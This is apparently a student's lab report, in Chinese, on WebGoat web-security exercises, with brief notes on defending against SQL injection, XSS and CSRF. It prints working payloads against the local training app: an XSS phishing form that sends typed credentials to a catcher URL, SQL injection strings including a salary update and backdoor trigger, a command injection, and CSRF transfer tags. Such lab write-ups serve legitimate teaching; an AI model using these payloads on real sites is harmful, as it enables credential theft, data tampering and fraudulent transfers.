2019-2020-2 网络对抗技术 20175236 EXP9 Web安全基础实践

一、基础问题回答

  • 1.SQL注入攻击原理,如何防御
    • 原理:攻击者把SQL命令插入到网页的各种查询字符串处,达到欺骗服务器执行恶意的SQL命令。
    • 防御:在网页设计时对文本框的输入进行限制,比如说长度限制、不能出现#号等
  • 2.XSS攻击的原理,如何防御
    • 原理:攻击者在可输入域插入一些html或脚本语言使服务器执行那些代码
    • 防御:关键字防御,比如过滤<script>这种敏感词汇,减少被攻击的风险
  • 3.CSRF攻击原理,如何防御
    • 原理:一般人A在登陆后,在自己的主机页面点击的各类请求都是以A的名义发送的,即A有A的权限;攻击者B在网页注入一个恶意的CSRF攻击URL地址,在A点击后,B借用A的身份进行非法操作,即B有了A的权限
    • 防御:1.cookie的保存时间不宜过长;2.服务器要求用户输入相对应的验证码;3.服务器尽量在表单中使用post方法

二、实验过程记录

开启WebGoat
  • Webgoat是OWASP组织研究出的一个专门进行web漏洞实验的应用品台,这个平台里包含了web中常见的各种漏洞,例如:跨站脚本攻击、sql注入、访问控制、隐藏字段、Cookie等;

    OWASP(Open Web Application Security Project)是一个非营利的组织,它的目的是帮助个人和企业来发现和使用可信赖的软件。
    在终端中输入java -jar webgoat-container-7.0.1-war-exec.jar开启WebGoat。

    直到出现INFO: Starting ProtocolHandler ["http-bio-8080"]

    打开浏览器,在地址栏输入localhost:8080/WebGoat打开WebGoat,选择默认账号、密码即可登陆成功。

XSS攻击

Phishing with XSS
  • 这个题目我们要在搜索框中输入XSS攻击代码,利用XSS可以在已存在的页面中进一步添加元素的特点创建一个form。利用这个网站读取目标的身份信息。

  • 首先输入攻击代码:

     </form>
          <script>
      function hack(){ 
      XSSImage=new Image;
      XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
      alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
      } 
        </script>
      <form name="phish">
      <br>
      <br>
      <HR>
        <H2>This feature requires account login:</H2>
      <br>
        <br>Enter Username:<br>
        <input type="text" name="user">
       <br>Enter Password:<br>
        <input type="password" name = "pass">
      <br>
       <input type="submit" name="login" value="login"     onclick="hack()">
      </form>
      <br>
      <br>
      <HR>

     

     

     

Reflected XSS 反射型XSS攻击
  • code框中输入<script>alert("hahahahhahah20175236");</script>

Stored XSS Attacks
  • 题目要求:基于存储的xss攻击,把攻击者的数据存储在服务器端,攻击将伴随着攻击数据一直存在。
  • 在Message里输入<script>alert("Lets go go go go 5236!");</script>

SQL

Injection Flaws
  • 左侧有很多种攻击实验,先选一个看似简单的Command Injection来试试

  • 题目意思:命令注入攻击对任何参数驱动的站点都构成严重威胁。清理所有输入数据,特别是在OS命令、脚本和数据库查询中使用的数据是很好的做法。要求我们应用程序使用系统命令返回文件的内容。

  • 打开网页的源代码

  • 本题我们要改BackDoors.help后面的代码,于是直接搜索BackDoors.help,找到后在其后加入"& netstat -an & ipconfig"

  • 加入完成以后敲回车即可.

  • 选定刚刚添加的代码选项而后view一下。出现了网络端口使用情况和IP地址。

Numeric SQL Injection
  • 题目意思:尝试注入导致所有天气数据显示的SQL字符串,应用程序从选择框中获取输入,并将其插入到预先形成的SQL命令的末尾。

  • 在搜索框内直接搜索哥伦比亚,然后利用永真式1=1,根据执行SQL

Log Spoofing
  • 题目意思:利用日志的格式,使用换行等字符,欺骗管理员。可以使用障眼法来使用户名为“admin”的用户在日志中显示“成功登录”,例如在User Name文本框中输入wff%0d%0aLogin Succeeded for username: admin,其中%0d是回车,%0a是换行符:

String SQL Injection
  • 这个表单允许使用者查询他们的信用卡号,使用SQL注入让所有的信用卡号都看得见。
  • 仍然是永真式1=1的或门注入
  • 本题直接在last name中注入Snow' OR '1'='1
  • 这边出现了一点问题,就是点击GO一直没有反应。其实点一下restart重新开始就好了
  • 尝试了一下输入自己名字的关键字,发现没有什么影响。所以就觉得永真式是真的强大,让前面的关键字显得毫无作用
LAB: SQL Injection(Stage 1:String SQL Injection)
  • 题目意思:使用字符串SQL注入来绕过身份验证
  • 在这里我们要在password = ‘’这里进行注入,理论上只要pwd = ' or 1=1 --。那么执行语句就被改成了:
    select * from User where username=‘’and password =‘’ or 1 = 1 --‘这样就可以登陆任何用户了,密码中输入' or 1=1 --
  • 在这里,因为源代码里的密码长度最长为8位,改一下限制就好了
Stage 3:Numeric SQL Injection
  • 题目意思:这个就是再上一个的基础上,登陆larry,然后浏览员工的信息点击ViewProfile就可以了
  • viewprofile返回的是每次查询到的第一条数据,老板应该是工资最高的,所以为了把老板排到第一个SQL注入排序如下:101 or 1=1 order by salary desc --

Database Backdoors
  • 先看一下102的用户信息
  • 这都是些什么人啊,家里开银行的嘛~~
  • 通过输入sql语句来修改信息内容,比如输入102; update employee set salary=1000000 where userid=102;
  • 哎哎写大点,梦里什么都有~
  • 注入一个触发器,触发器内容:102;create trigger backdoor before insert on employee for each row begin update employee set email='wff@hackme.com'WHERE userid = 102;把所有新注册的用户的email地址改成wff@hackme.com

Blind Numeric SQL Injection
  • 题目意思:盲测,大致就是让你去猜测,然后逐步缩小范围。我们想知道其pin的值,只能去猜测,就像数学里的二分法一样,把区间逐步缩小,最后就确定了一个更加精确的范围。首先我们尝试一下200,101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 200 );
  • 注入的代码显示Account number is valid,表示是真的,所以它的范围比100大。那我们就再试试更大一点的2000,101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2000 );
  • 当我注入2500的时候它发生了变化
  • 所以我们大致确定它的范围在2000~2500之间
  • 然后我们打开虚拟机的BRUP,因为8080端口已经被占用,所以我们就再添加一个端口。然后把端口号设为自己刚刚设置的端口号。
  • 设置查找区间2000~2500,并且为了精准step设置为1
  • Options中,选择Start attack开始攻击
  • 可以明显发现2364与其他的有明显区别,长得非常可疑,那不妨就把2364输入进行验证,果不其然是正确的。

CSRF攻击

Cross Site Request Forgery
  • 写一个URL诱使其他用户点击,从而触发CSRF攻击,我们可以以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。
  • 查看自己电脑的数值
  • 然后在message里面输入<img src="http://localhost:8080/WebGoat/attack?Screen=277&menu=900&transferFunds=转账金额"/>
  • 提交后生成一个链接20175236,点击查看。

CSRF Prompt By-Pass
  • 这个还是利用的是CSRF,不过需要转账请求和确认转账成功请求。

  • 步骤跟CSRF大致相同,但这回在message中输入代码是:

      <iframe src="attack?Screen=268&menu=900&transferFunds=转账数额"> </iframe>
      <iframe src="attack?Screen=268&menu=900&transferFunds=CONFIRM"> </iframe>
    

  • 但是它没有提示那个祝贺成功,在浏览器输入localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=5000进行确认转账请求:

  • 点击CONFIRM,然后在输入localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=CONFIRM,显示成功转走5000!

三、实验总结与体会

做了这么多练习,感觉很有成就感,尤其是在这十几个练习中,遇到了这样那样的问题,后来都通过自己的自主学习解决了。这种在自主学习之后,动手实践,发现问题、解决问题的过程,不仅给予了我更多学习的信心和动力,也让我在不断解决问题的过程中提升了自己各方面的能力,掌握了更全面的知识。

这一次的实验用到了webgoat,在其中做了关于SQL注入、XSS攻击和CSRF攻击,由于是全英文的网页所以对英文能力也有一定的考验==,在上一次的web基础实验中我对SQL注入、XSS攻击的理解只是表面的理解,实现的功能也很简单,这些知识点在这一次的实验中得到了很直观的学习,并且这一次的实验也警示我们,做网站编程的时候一定要对用户输入的信息做一个合法性的判断,不然会非常危险。

 
posted on 2020-05-31 03:24  20175236温丰帆  阅读(186)  评论(0编辑  收藏  举报